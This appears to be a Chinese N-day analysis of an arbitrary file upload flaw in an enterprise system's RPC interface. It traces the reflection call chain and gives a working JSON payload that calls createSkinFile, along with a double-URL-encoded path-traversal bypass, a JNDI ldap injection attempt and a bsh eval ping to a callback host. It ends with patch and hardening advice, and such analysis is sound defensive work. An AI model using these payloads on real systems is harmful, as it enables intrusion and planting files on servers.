某通用系统Nday分析
字数 1671 2025-08-05 11:39:43
某通用系统Nday分析 - 任意文件上传漏洞利用详解
漏洞概述
该漏洞存在于某通用系统的/lfw/core/rpc接口,通过访问PortalSpecServiceImpl类中的createSkinFile方法,攻击者可以实现任意文件上传。补丁名称为patch_portal65_lfw任意文件上传漏洞,补丁编码为NCM_NC6.5_000_109902_20240301_GP_281362040。
漏洞分析
漏洞调用链
- 调用
handleRequest - 跟进
getControlPlugin - 调用
RpcControlPlugin.handle RpcHelper.processJsonRequest获取rpcdata参数,用JSON存储并传递给call函数
call函数分析
在call()函数中:
- 获取JSON中的
rpcname、method和params - 通过
paramList存储params参数(最多不超过10个) - 进行字符串处理后,最终通过
instance、getMethod、method.invoke获取实例、获取类方法、反射调用 - 所有参数均可控,存在代码执行风险
漏洞利用
初始尝试
-
尝试直接传递:
rpcname:bsh.Interpretermethod:evalparams:ping o3n9.callback.red- 结果:返回500错误
-
尝试通过JNDI注入:
rpcname设置为ldap://xxxmethod和params随意设置- 可以获取到请求,但非预期利用方式
正确利用方式
-
通过
ServiceLocator.getService(className)获取实例:className需要先被加入到ServiceCache才能通过getService获取PortalSpecServiceImpl类可实现文件上传功能
-
正确的类名应为接口名
nc.uap.portal.service.itf.IPortalSpecService(而非实现类名) -
最终构造的JSON数据包格式:
{
"rpcdata": {
"rpcname": "nc.uap.portal.service.itf.IPortalSpecService",
"method": "createSkinFile",
"params": {
"projectPath": "/",
"projectModuleName": "1",
"type": "1",
"themeId": "12345",
"fileName": "123.txt",
"fileText": "123"
}
}
}
目录遍历处理
- 在
call()函数中,参数会经过fromJsObject处理 JSONTokener的nextValue函数会对字符串进行逐个字符判断- 跳转目录的
../../../会被处理成.. - 绕过方法:
- Windows环境下可直接使用
..\..\ - 通用方法:使用两层URL编码
- 发送
..%252f..%252f - 服务器第一次解码后变为
..%2f..%2f,绕过/检测 - 经过
JsURLDecoder.decode()后变为../../ - 最终拼接到
filePath实现目录跳转
- 发送
- Windows环境下可直接使用
漏洞利用扩展
-
该漏洞不仅限于文件上传,还可用于:
- 代码执行(通过调用其他类方法)
- 文件读取(如读取
win.ini)
-
其他可能的利用方向:
- 查找
ServiceCache中其他可利用的类 - 寻找具有执行命令或写文件public方法的类
- 查找
防御建议
- 应用补丁:
NCM_NC6.5_000_109902_20240301_GP_281362040 - 输入验证:
- 对
rpcname、method和params参数进行严格校验 - 限制可调用的类和方法范围
- 对
- 安全配置:
- 禁用不必要的RPC接口
- 限制反射调用的权限
- 文件操作防护:
- 对文件路径进行规范化处理
- 限制文件上传目录
技术要点总结
- 漏洞核心:通过可控参数实现反射调用任意类方法
- 关键函数调用链:
handleRequest→getControlPlugin→RpcControlPlugin.handle→RpcHelper.processJsonRequest→call() - 利用限制:类必须存在于
ServiceCache或可通过其他方式加载 - 目录遍历绕过:使用双重URL编码处理特殊字符